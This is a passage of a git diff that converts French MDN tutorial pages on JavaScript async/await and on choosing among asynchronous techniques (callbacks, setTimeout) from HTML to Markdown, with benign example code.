qui ressemble beaucoup à du code synchrone. Nous avons dû envelopper tout le code dans une nouvelle fonction asynchrone, <code>displayContent()</code>, et nous n'avons pas réduit le code de beaucoup de lignes, mais être capable de déplacer la majeure partie du code hors du bloc <code>.then()</code> fournit une simplification agréable et utile, nous laissant avec un programme beaucoup plus lisible.</p> +En utilisant `await` ici, nous sommes en mesure d'obtenir tous les résultats des trois promesses retournées dans le tableau `values`, quand ils sont tous disponibles, d'une manière qui ressemble beaucoup à du code synchrone. Nous avons dû envelopper tout le code dans une nouvelle fonction asynchrone, `displayContent()`, et nous n'avons pas réduit le code de beaucoup de lignes, mais être capable de déplacer la majeure partie du code hors du bloc `.then()` fournit une simplification agréable et utile, nous laissant avec un programme beaucoup plus lisible. -<p>Pour la gestion des erreurs, nous avons inclus un bloc <code>.catch()</code> sur notre appel <code>displayContent()</code> ; cela permettra de gérer les erreurs survenant dans les deux fonctions.</p> +Pour la gestion des erreurs, nous avons inclus un bloc `.catch()` sur notre appel `displayContent()` ; cela permettra de gérer les erreurs survenant dans les deux fonctions. -<div class="notecard note"> - <p><strong>Note :</strong> Il est également possible d'utiliser un bloc <code><a href="/fr/docs/Web/JavaScript/Reference/Statements/try...catch#the_finally_clause">finally</a></code> au sein d'une fonction asynchrone, à la place d'un bloc asynchrone <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally">.finally()</a></code>, pour montrer un état final sur le déroulement de l'opération — vous pouvez voir cela en action dans notre <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-finally-async-await.html">exemple en direct</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-finally-async-await.html">code source</a>).</p> -</div> +> **Note :** Il est également possible d'utiliser un bloc [`finally`](/fr/docs/Web/JavaScript/Reference/Statements/try...catch#the_finally_clause) au sein d'une fonction asynchrone, à la place d'un bloc asynchrone [`.finally()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally), pour montrer un état final sur le déroulement de l'opération — vous pouvez voir cela en action dans notre [exemple en direct](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-finally-async-await.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-finally-async-await.html)). -<h2 id="handling_asyncawait_slowdown">Gérer les ralentissements potentiellement causés par async/await</h2> +## Gérer les ralentissements potentiellement causés par async/await -<p>Il est vraiment utile de connaître <code>async</code>/<code>await</code>, mais il y a quelques inconvénients à prendre en compte.</p> +Il est vraiment utile de connaître `async`/`await`, mais il y a quelques inconvénients à prendre en compte. -<p><code>async</code>/<code>await</code> donne à votre code une apparence synchrone, et d'une certaine manière, il le fait se comporter de manière plus synchrone. Le mot-clé <code>await</code> bloque l'exécution de tout le code qui le suit jusqu'à ce que la promesse se réalise, exactement comme dans le cas d'une opération synchrone. Il permet certes aux autres tâches de continuer à s'exécuter entre-temps, mais le code attendu est bloqué.</p> +`async`/`await` donne à votre code une apparence synchrone, et d'une certaine manière, il le fait se comporter de manière plus synchrone. Le mot-clé `await` bloque l'exécution de tout le code qui le suit jusqu'à ce que la promesse se réalise, exactement comme dans le cas d'une opération synchrone. Il permet certes aux autres tâches de continuer à s'exécuter entre-temps, mais le code attendu est bloqué. -<pre class="brush: js">async function makeResult(items) { +```js +async function makeResult(items) { let newArr = []; - for(let i=0; i < items.length; i++) { + for(let i=0; i < items.length; i++) { newArr.push('word_'+i); } return newArr; @@ -315,52 +344,62 @@ displayContent() async function getResult() { let result = await makeResult(items); // Bloqué sur cette ligne useThatResult(result); // Pas exécuté tant que makeResult() n'a pas fini -}</pre> +} +``` -<p>Cela signifie que votre code pourrait être ralenti par un nombre important de promesses attendues se produisant directement les unes après les autres. Chaque <code>await</code> attendra que la précédente se termine, alors qu'en réalité ce que vous voulez, c'est que les promesses commencent à être traitées simultanément, comme elles le feraient si nous n'utilisions pas <code>async</code>/<code>await</code>.</p> +Cela signifie que votre code pourrait être ralenti par un nombre important de promesses attendues se produisant directement les unes après les autres. Chaque `await` attendra que la précédente se termine, alors qu'en réalité ce que vous voulez, c'est que les promesses commencent à être traitées simultanément, comme elles le feraient si nous n'utilisions pas `async`/`await`. -<p>Il existe un modèle qui peut atténuer ce problème - déclencher tous les processus de promesse en stockant les objets <code>Promise</code> dans des variables, et en les attendant tous ensuite. Jetons un coup d'œil à quelques exemples qui prouvent le concept.</p> +Il existe un modèle qui peut atténuer ce problème - déclencher tous les processus de promesse en stockant les objets `Promise` dans des variables, et en les attendant tous ensuite. Jetons un coup d'œil à quelques exemples qui prouvent le concept. -<p>Nous disposons de deux exemples - <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/slow-async-await.html">slow-async-await.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/slow-async-await.html">code source</a>) et <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/fast-async-await.html">fast-async-await.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/fast-async-await.html">code source</a>). Les deux commencent par une fonction promise personnalisée qui simule un processus asynchrone avec un appel <code><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code> :</p> +Nous disposons de deux exemples - [slow-async-await.html](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/slow-async-await.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/slow-async-await.html)) et [fast-async-await.html](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/fast-async-await.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/fast-async-await.html)). Les deux commencent par une fonction promise personnalisée qui simule un processus asynchrone avec un appel [`setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) : -<pre class="brush: js">function timeoutPromise(interval) { - return new Promise((resolve, reject) => { +```js +function timeoutPromise(interval) { + return new Promise((resolve, reject) => { setTimeout(function(){ resolve("fait"); }, interval); }); -};</pre> +}; +``` -<p>Ensuite, chacun comprend une fonction asynchrone <code>timeTest()</code> qui attend trois appels <code>timeoutPromise()</code> :</p> +Ensuite, chacun comprend une fonction asynchrone `timeTest()` qui attend trois appels `timeoutPromise()` : -<pre class="brush: js">async function timeTest() { +```js +async function timeTest() { ... -}</pre> +} +``` -<p>Chacune d'entre elles se termine en enregistrant une heure de début, en voyant combien de temps la promesse <code>timeTest()</code> met à se réaliser, puis en enregistrant une heure de fin et en indiquant combien de temps l'opération a pris au total :</p> +Chacune d'entre elles se termine en enregistrant une heure de début, en voyant combien de temps la promesse `timeTest()` met à se réaliser, puis en enregistrant une heure de fin et en indiquant combien de temps l'opération a pris au total : -<pre class="brush: js">let startTime = Date.now(); -timeTest().then(() => { +```js +let startTime = Date.now(); +timeTest().then(() => { let finishTime = Date.now(); let timeTaken = finishTime - startTime; console.log("Temps pris en millisecondes : " + timeTaken); -})</pre> +}) +``` -<p>C'est la fonction <code>timeTest()</code> qui diffère dans chaque cas.</p> +C'est la fonction `timeTest()` qui diffère dans chaque cas. -<p>Dans l'exemple <code>slow-async-await.html</code>, <code>timeTest()</code> ressemble à ceci :</p> +Dans l'exemple `slow-async-await.html`, `timeTest()` ressemble à ceci : -<pre class="brush: js">async function timeTest() { +```js +async function timeTest() { await timeoutPromise(3000); await timeoutPromise(3000); await timeoutPromise(3000); -}</pre> +} +``` -<p>Ici, nous attendons les trois appels <code>timeoutPromise()</code> directement, en faisant en sorte que chacun d'eux alerte pendant 3 secondes. Chaque appel suivant est forcé d'attendre jusqu'à ce que le dernier soit terminé - si vous exécutez le premier exemple, vous verrez la boîte d'alerte signaler une durée d'exécution totale d'environ 9 secondes.</p> +Ici, nous attendons les trois appels `timeoutPromise()` directement, en faisant en sorte que chacun d'eux alerte pendant 3 secondes. Chaque appel suivant est forcé d'attendre jusqu'à ce que le dernier soit terminé - si vous exécutez le premier exemple, vous verrez la boîte d'alerte signaler une durée d'exécution totale d'environ 9 secondes. -<p>Dans l'exemple <code>fast-async-await.html</code>, <code>timeTest()</code> ressemble à ceci :</p> +Dans l'exemple `fast-async-await.html`, `timeTest()` ressemble à ceci : -<pre class="brush: js">async function timeTest() { +```js +async function timeTest() { const timeoutPromise1 = timeoutPromise(3000); const timeoutPromise2 = timeoutPromise(3000); const timeoutPromise3 = timeoutPromise(3000); @@ -368,19 +407,21 @@ timeTest().then(() => { await timeoutPromise1; await timeoutPromise2; await timeoutPromise3; -}</pre> +} +``` -<p>Ici, nous stockons les trois objets <code>Promise</code> dans des variables, ce qui a pour effet de déclencher leurs processus associés, tous exécutés simultanément.</p> +Ici, nous stockons les trois objets `Promise` dans des variables, ce qui a pour effet de déclencher leurs processus associés, tous exécutés simultanément. -<p>Ensuite, nous attendons leurs résultats - parce que les promesses ont toutes commencé à être traitées essentiellement au même moment, les promesses se réaliseront toutes en même temps ; lorsque vous exécuterez le deuxième exemple, vous verrez la boîte d'alerte indiquant un temps d'exécution total d'un peu plus de 3 secondes !</p> +Ensuite, nous attendons leurs résultats - parce que les promesses ont toutes commencé à être traitées essentiellement au même moment, les promesses se réaliseront toutes en même temps ; lorsque vous exécuterez le deuxième exemple, vous verrez la boîte d'alerte indiquant un temps d'exécution total d'un peu plus de 3 secondes ! -<h3 id="handling_errors">Gestion des erreurs</h3> +### Gestion des erreurs -<p>La stratégie précédente a un défaut : on pourrait avoir des erreurs qui ne seraient pas gérées.</p> +La stratégie précédente a un défaut : on pourrait avoir des erreurs qui ne seraient pas gérées. -<p>Mettons à jour les exemples précédents en ajoutant une promesse rejetée et une instruction <code>catch</code> à la fin :</p> +Mettons à jour les exemples précédents en ajoutant une promesse rejetée et une instruction `catch` à la fin : -<pre class="brush: js">function timeoutPromiseResolve(interval) { +```js +function timeoutPromiseResolve(interval) { return new Promise((resolve, reject) => { setTimeout(function(){ resolve("Succès"); @@ -409,13 +450,15 @@ timeTest().then(() => {}) let finishTime = Date.now(); let timeTaken = finishTime - startTime; console.log("Temps écoulé en millisecondes : " + timeTaken); -})</pre> +}) +``` -<p>Dans l'exemple qui précède, l'erreur est gérée correctement et le message dans la console apparaît après environ 7 secondes.</p> +Dans l'exemple qui précède, l'erreur est gérée correctement et le message dans la console apparaît après environ 7 secondes. -<p>Voyons maintenant la deuxième approche :</p> +Voyons maintenant la deuxième approche : -<pre class="brush: js">function timeoutPromiseResolve(interval) { +```js +function timeoutPromiseResolve(interval) { return new Promise((resolve, reject) => { setTimeout(function(){ resolve("Succès"); @@ -448,13 +491,15 @@ timeTest().then(() => { let finishTime = Date.now(); let timeTaken = finishTime - startTime; console.log("Temps écoulé en millisecondes : " + timeTaken); -})</pre> +}) +``` -<p>Dans cet exemple, on a une erreur qui n'est pas gérée dans la console (après 2 secondes) et le message apparaît après environ 5 secondes.</p> +Dans cet exemple, on a une erreur qui n'est pas gérée dans la console (après 2 secondes) et le message apparaît après environ 5 secondes. -<p>Pour démarrer les promesses en parallèles et intercepter les erreurs correctement, on pourrait utiliser <code>Promise.all()</code> comme vu auparavant :</p> +Pour démarrer les promesses en parallèles et intercepter les erreurs correctement, on pourrait utiliser `Promise.all()` comme vu auparavant : -<pre class="brush: js">function timeoutPromiseResolve(interval) { +```js +function timeoutPromiseResolve(interval) { return new Promise((resolve, reject) => { setTimeout(function(){ resolve("Succès"); @@ -486,17 +531,19 @@ timeTest().then(() => { let finishTime = Date.now(); let timeTaken = finishTime - startTime; console.log("Temps écoulé en millisecondes : " + timeTaken); -})</pre> +}) +``` -<p>Dans cet exemple, l'erreur est gérée correctement après 2 secondes et on a le message dans la console après environ 2 secondes.</p> +Dans cet exemple, l'erreur est gérée correctement après 2 secondes et on a le message dans la console après environ 2 secondes. -<p>La méthode <code>Promise.all()</code> rejète lorsqu'au moins un de ses promesses d'entrée rejète. Si on veut que toutes les promesses soient résolues (correctement ou avec un rejet), on pourra utiliser la méthode <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled"><code>Promise.allSettled()</code></a> à la place.</p> +La méthode `Promise.all()` rejète lorsqu'au moins un de ses promesses d'entrée rejète. Si on veut que toutes les promesses soient résolues (correctement ou avec un rejet), on pourra utiliser la méthode [`Promise.allSettled()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled) à la place. -<h2 id="asyncawait_class_methods">Méthodes de classe async/await</h2> +## Méthodes de classe async/await -<p>Une dernière remarque avant de poursuivre, vous pouvez même ajouter <code>async</code> devant les méthodes de classe/objet pour qu'elles renvoient des promesses, et <code>await</code> des promesses à l'intérieur de celles-ci. Jetez un œil au <a href="/fr/docs/Learn/JavaScript/Objects/Inheritance#ecmascript_2015_classes">code de la classe ES que nous avons vu dans notre article sur le JavaScript orienté objet</a>, puis regardez notre version modifiée avec une méthode <code>async</code> :</p> +Une dernière remarque avant de poursuivre, vous pouvez même ajouter `async` devant les méthodes de classe/objet pour qu'elles renvoient des promesses, et `await` des promesses à l'intérieur de celles-ci. Jetez un œil au [code de la classe ES que nous avons vu dans notre article sur le JavaScript orienté objet](/fr/docs/Learn/JavaScript/Objects/Inheritance#ecmascript_2015_classes), puis regardez notre version modifiée avec une méthode `async` : -<pre class="brush: js">class Personne { +```js +class Personne { constructor(prenom, nomFamille, age, genre, interets) { this.nom = { prenom, @@ -516,31 +563,32 @@ timeTest().then(() => { }; } -let han = new Personne('Han', 'Solo', 25, 'homme', ['Contrebande']);</pre> +let han = new Personne('Han', 'Solo', 25, 'homme', ['Contrebande']); +``` -<p>La méthode de la première classe peut maintenant être utilisée de la manière suivante :</p> +La méthode de la première classe peut maintenant être utilisée de la manière suivante : -<pre class="brush: js">han.salutation().then(console.log);</pre> +```js +han.salutation().then(console.log); +``` -<h2 id="browser_support">Prise en charge des navigateurs</h2> +## Prise en charge des navigateurs -<p>L'une des considérations à prendre en compte pour décider d'utiliser <code>async</code>/<code>await</code>est la prise en charge des anciens navigateurs. Ces fonctionnalités sont disponibles dans les versions modernes de la plupart des navigateurs, tout comme les promesses ; les principaux problèmes de prise en charge concernent Internet Explorer et Opera Mini.</p> +L'une des considérations à prendre en compte pour décider d'utiliser `async`/`await`est la prise en charge des anciens navigateurs. Ces fonctionnalités sont disponibles dans les versions modernes de la plupart des navigateurs, tout comme les promesses ; les principaux problèmes de prise en charge concernent Internet Explorer et Opera Mini. -<p>Si vous souhaitez utiliser <code>async</code>/<code>await</code> mais que vous êtes préoccupé par la prise en charge de navigateurs plus anciens, vous pouvez envisager d'utiliser la bibliothèque <a href="https://babeljs.io/">BabelJS</a>. Cela vous permet d'écrire vos applications en utilisant les dernières versions de JavaScript et de laisser Babel déterminer les modifications éventuellement nécessaires pour les navigateurs de vos utilisateurs. Lorsque vous rencontrez un navigateur qui ne supporte pas async/await, le <i>polyfill</i> « prothèse d'émulation » de Babel peut automatiquement fournir des <i>fallbacks</i> « solutions de secours » qui fonctionnent dans les anciens navigateurs.</p> +Si vous souhaitez utiliser `async`/`await` mais que vous êtes préoccupé par la prise en charge de navigateurs plus anciens, vous pouvez envisager d'utiliser la bibliothèque [BabelJS](https://babeljs.io/). Cela vous permet d'écrire vos applications en utilisant les dernières versions de JavaScript et de laisser Babel déterminer les modifications éventuellement nécessaires pour les navigateurs de vos utilisateurs. Lorsque vous rencontrez un navigateur qui ne supporte pas async/await, le _polyfill_ « prothèse d'émulation » de Babel peut automatiquement fournir des _fallbacks_ « solutions de secours » qui fonctionnent dans les anciens navigateurs. -<h2 id="conclusion">Conclusion</h2> +## Conclusion -<p>Et voilà, <code>async</code>/<code>await</code> offre un moyen agréable et simplifié d'écrire du code asynchrone, plus facile à lire et à maintenir. Même si la prise en charge par les navigateurs est plus limitée que d'autres mécanismes de code asynchrone à l'heure où nous écrivons ces lignes, cela vaut la peine de l'apprendre et d'envisager de l'utiliser, maintenant et à l'avenir.</p> +Et voilà, `async`/`await` offre un moyen agréable et simplifié d'écrire du code asynchrone, plus facile à lire et à maintenir. Même si la prise en charge par les navigateurs est plus limitée que d'autres mécanismes de code asynchrone à l'heure où nous écrivons ces lignes, cela vaut la peine de l'apprendre et d'envisager de l'utiliser, maintenant et à l'avenir. -<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec async et await</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choisir la bonne approche</a></li> -</ul> +- [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing) +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals) +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) +- [Faciliter la programmation asynchrone avec async et await](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) +- [Choisir la bonne approche](/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach) diff --git a/files/fr/learn/javascript/asynchronous/choosing_the_right_approach/index.md b/files/fr/learn/javascript/asynchronous/choosing_the_right_approach/index.md index 0b71c56c49..679212748d 100644 --- a/files/fr/learn/javascript/asynchronous/choosing_the_right_approach/index.md +++ b/files/fr/learn/javascript/asynchronous/choosing_the_right_approach/index.md @@ -17,54 +17,43 @@ tags: - timeouts translation_of: Learn/JavaScript/Asynchronous/Choosing_the_right_approach --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}} -<div>{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</div> - -<p>Pour terminer ce module, nous vous proposons une brève discussion sur les différentes techniques et fonctionnalités asynchrones abordées tout au long de ce module, en examinant laquelle de ces techniques est la plus pertinente en fonction de la situation ainsi que des recommandations et des rappels des pièges courants le cas échéant.</p> +Pour terminer ce module, nous vous proposons une brève discussion sur les différentes techniques et fonctionnalités asynchrones abordées tout au long de ce module, en examinant laquelle de ces techniques est la plus pertinente en fonction de la situation ainsi que des recommandations et des rappels des pièges courants le cas échéant. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, une compréhension raisonnable des principes fondamentaux de JavaScript.</td> + <td> + Connaissances informatiques de base, une compréhension raisonnable des + principes fondamentaux de JavaScript. + </td> </tr> <tr> <th scope="row">Objectif :</th> - <td>Être capable de faire un choix judicieux quant à l'utilisation de différentes techniques de programmation asynchrone.</td> + <td> + Être capable de faire un choix judicieux quant à l'utilisation de + différentes techniques de programmation asynchrone. + </td> </tr> </tbody> </table> -<h2 id="asynchronous_callbacks">Fonctions de rappels (callbacks) asynchrones</h2> +## Fonctions de rappels (callbacks) asynchrones -<p>Généralement trouvé dans les API à l'ancienne, une fonction de rappel (ou <i>callback</i> en anglais) implique qu'une fonction soit passée en paramètre à une autre fonction, qui est ensuite invoquée lorsqu'une opération asynchrone est terminée afin réaliser une opération avec le résultat. C'est la méthode qui précédait l'arrivée des promesses : elle n'est pas aussi efficace ou flexible. Ne l'utilisez que si nécessaire.</p> +Généralement trouvé dans les API à l'ancienne, une fonction de rappel (ou _callback_ en anglais) implique qu'une fonction soit passée en paramètre à une autre fonction, qui est ensuite invoquée lorsqu'une opération asynchrone est terminée afin réaliser une opération avec le résultat. C'est la méthode qui précédait l'arrivée des promesses : elle n'est pas aussi efficace ou flexible. Ne l'utilisez que si nécessaire. -<table class="standard-table"> - <caption>Utile pour…</caption> - <thead> - <tr> - <th scope="col">Opération unique retardée</th> - <th scope="col">Opération répétée</th> - <th scope="col">Opérations séquentielles multiples</th> - <th scope="col">Opérations simultanées multiples</th> - </tr> - </thead> - <tbody> - <tr> - <td>Non</td> - <td>Oui (rappels récursifs)</td> - <td>Oui (rappels imbriqués)</td> - <td>Non</td> - </tr> - </tbody> -</table> +| Opération unique retardée | Opération répétée | Opérations séquentielles multiples | Opérations simultanées multiples | +| ------------------------- | ----------------------- | ---------------------------------- | -------------------------------- | +| Non | Oui (rappels récursifs) | Oui (rappels imbriqués) | Non | -<h3 id="code_example">Exemple de code</h3> +### Exemple de code -<p>Un exemple qui charge une ressource via l'API <a href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">l'exécuter en direct</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">voir la source</a>) :</p> +Un exemple qui charge une ressource via l'API [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) ([l'exécuter en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html), et [voir la source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html)) : -<pre class="brush: js">function loadAsset(url, type, callback) { +```js +function loadAsset(url, type, callback) { let xhr = new XMLHttpRequest(); xhr.open('GET', url); xhr.responseType = type; @@ -84,174 +73,122 @@ function displayImage(blob) { document.body.appendChild(image); } -loadAsset('coffee.jpg', 'blob', displayImage);</pre> +loadAsset('coffee.jpg', 'blob', displayImage); +``` -<h3 id="pitfalls">Pièges</h3> +### Pièges -<ul> - <li>Les fonctions de rappels imbriquées peuvent être encombrantes et difficiles à lire (ce qu'on appelle parfois « <i>callback hell</i> » en anglais).</li> - <li>Les fonctions de rappel pour les cas d'erreur doivent être appelés une fois pour chaque niveau d'imbrication, alors qu'avec les promesses, vous pouvez simplement utiliser un seul bloc <code>.catch()</code> pour gérer les erreurs de toute la chaîne.</li> - <li>Les fonctions de rappel asynchrones ne sont pas très élégantes.</li> - <li>Les fonctions de rappel passées en argument de promesses sont toujours appelés dans l'ordre strict où ils sont placés dans la file d'attente des événements ; les fonctions de rappel asynchrones ne le sont pas.</li> - <li>Les fonctions de rappel asynchrones perdent le contrôle total de la façon dont la fonction sera exécutée lorsqu'elle est transmise à une bibliothèque tierce.</li> -</ul> +- Les fonctions de rappels imbriquées peuvent être encombrantes et difficiles à lire (ce qu'on appelle parfois « _callback hell_ » en anglais). +- Les fonctions de rappel pour les cas d'erreur doivent être appelés une fois pour chaque niveau d'imbrication, alors qu'avec les promesses, vous pouvez simplement utiliser un seul bloc `.catch()` pour gérer les erreurs de toute la chaîne. +- Les fonctions de rappel asynchrones ne sont pas très élégantes. +- Les fonctions de rappel passées en argument de promesses sont toujours appelés dans l'ordre strict où ils sont placés dans la file d'attente des événements ; les fonctions de rappel asynchrones ne le sont pas. +- Les fonctions de rappel asynchrones perdent le contrôle total de la façon dont la fonction sera exécutée lorsqu'elle est transmise à une bibliothèque tierce. -<h3 id="browser_compatibility">Compatibilité des navigateurs</h3> +### Compatibilité des navigateurs -<p>Très bonne prise en charge générale, bien que la prise en charge exacte dans les différentes API dépende de l'API en question. Reportez-vous à la documentation de référence de l'API que vous utilisez pour obtenir des informations plus spécifiques.</p> +Très bonne prise en charge générale, bien que la prise en charge exacte dans les différentes API dépende de l'API en question. Reportez-vous à la documentation de référence de l'API que vous utilisez pour obtenir des informations plus spécifiques. -<h3 id="further_information">Plus d'informations</h3> +### Plus d'informations -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a>, en particulier les <a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing#async_callbacks">Fonctions de rappels asynchrones</a></li> -</ul> +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing), en particulier les [Fonctions de rappels asynchrones](/fr/docs/Learn/JavaScript/Asynchronous/Introducing#async_callbacks) -<h2 id="settimeout">setTimeout()</h2> +## setTimeout() -<p><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout"><code>setTimeout()</a></code> est une méthode qui permet d'exécuter une fonction après l'écoulement d'un délai arbitraire.</p> +[`setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) est une méthode qui permet d'exécuter une fonction après l'écoulement d'un délai arbitraire. -<table class="standard-table"> - <caption>Utile pour…</caption> - <thead> - <tr> - <th scope="col">Opération unique retardée</th> - <th scope="col">Opération répétée</th> - <th scope="col">Opérations séquentielles multiples</th> - <th scope="col">Opérations simultanées multiples</th> - </tr> - </thead> - <tbody> - <tr> - <td>Oui</td> - <td>Oui (délais récursifs)</td> - <td>Oui (délais d'attente imbriqués)</td> - <td>Non</td> - </tr> - </tbody> -</table> +| Opération unique retardée | Opération répétée | Opérations séquentielles multiples | Opérations simultanées multiples | +| ------------------------- | ---------------------- | ---------------------------------- | -------------------------------- | +| Oui | Oui (délais récursifs) | Oui (délais d'attente imbriqués) | Non | -<h3 id="code_example_2">Exemple de code</h3> +### Exemple de code -<p>Ici, le navigateur attendra deux secondes avant d'exécuter la fonction anonyme, puis affichera le message dans la console (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">voir son exécution en direct</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">voir le code source</a>) :</p> +Ici, le navigateur attendra deux secondes avant d'exécuter la fonction anonyme, puis affichera le message dans la console ([voir son exécution en direct](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html), et [voir le code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html)) : -<pre class="brush: js">let myGreeting = setTimeout(function() { +```js +let myGreeting = setTimeout(function() { console.log('Bonjour, M. Univers !'); -}, 2000)</pre> +}, 2000) +``` -<h3 id="pitfalls_2">Pièges</h3> +### Pièges -<p>Vous pouvez utiliser des appels récursifs à <code>setTimeout()</code> pour exécuter une fonction de manière répétée de façon similaire à <code>setInterval()</code>, en utilisant un code comme celui-ci :</p> +Vous pouvez utiliser des appels récursifs à `setTimeout()` pour exécuter une fonction de manière répétée de façon similaire à `setInterval()`, en utilisant un code comme celui-ci : -<pre class="brush: js">let i = 1; +```js +let i = 1; setTimeout(function run() { console.log(i); i++; setTimeout(run, 100); -}, 100);</pre> +}, 100); +``` -<p>Il existe une différence entre <code>setTimeout()</code> appelé récursivement et <code>setInterval()</code> :</p> +Il existe une différence entre `setTimeout()` appelé récursivement et `setInterval()` : -<ul> - <li>Les récursions avec <code>setTimeout()</code> garantissent qu'au moins le temps spécifié (100ms dans cet exemple) s'écoulera entre les exécutions ; le code s'exécutera puis attendra 100 millisecondes avant de s'exécuter à nouveau. L'intervalle sera le même quelle que soit la durée d'exécution du code.</li> - <li>Avec <code>setInterval()</code>, l'intervalle que nous choisissons <em>inclut</em> le temps d'exécution du code que nous voulons exécuter. Disons que le code prend 40 millisecondes pour s'exécuter — l'intervalle finit alors par n'être que de 60 millisecondes.</li> -</ul> +- Les récursions avec `setTimeout()` garantissent qu'au moins le temps spécifié (100ms dans cet exemple) s'écoulera entre les exécutions ; le code s'exécutera puis attendra 100 millisecondes avant de s'exécuter à nouveau. L'intervalle sera le même quelle que soit la durée d'exécution du code. +- Avec `setInterval()`, l'intervalle que nous choisissons _inclut_ le temps d'exécution du code que nous voulons exécuter. Disons que le code prend 40 millisecondes pour s'exécuter — l'intervalle finit alors par n'être que de 60 millisecondes. -<p>Lorsque votre code a le potentiel de prendre plus de temps à s'exécuter que l'intervalle de temps que vous avez assigné, il est préférable d'utiliser <code>setTimeout()</code> récursivement - cela maintiendra l'intervalle de temps constant entre les exécutions, quelle que soit la durée d'exécution du code, et vous n'obtiendrez pas d'erreurs.</p> +Lorsque votre code a le potentiel de prendre plus de temps à s'exécuter que l'intervalle de temps que vous avez assigné, il est préférable d'utiliser `setTimeout()` récursivement - cela maintiendra l'intervalle de temps constant entre les exécutions, quelle que soit la durée d'exécution du code, et vous n'obtiendrez pas d'erreurs. -<h3 id="browser_compatibility_2">Compatibilité des navigateurs</h3> +### Compatibilité des navigateurs -<p>{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}</p> +{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}} -<h3 id="further_information_2">Plus d'informations</h3> +### Plus d'informations -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a>, en particulier <a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals#settimeout()"><code>setTimeout()</code></a></li> - <li>Page de référence pour <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout"><code>setTimeout()</code></a></li> -</ul> +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals), en particulier 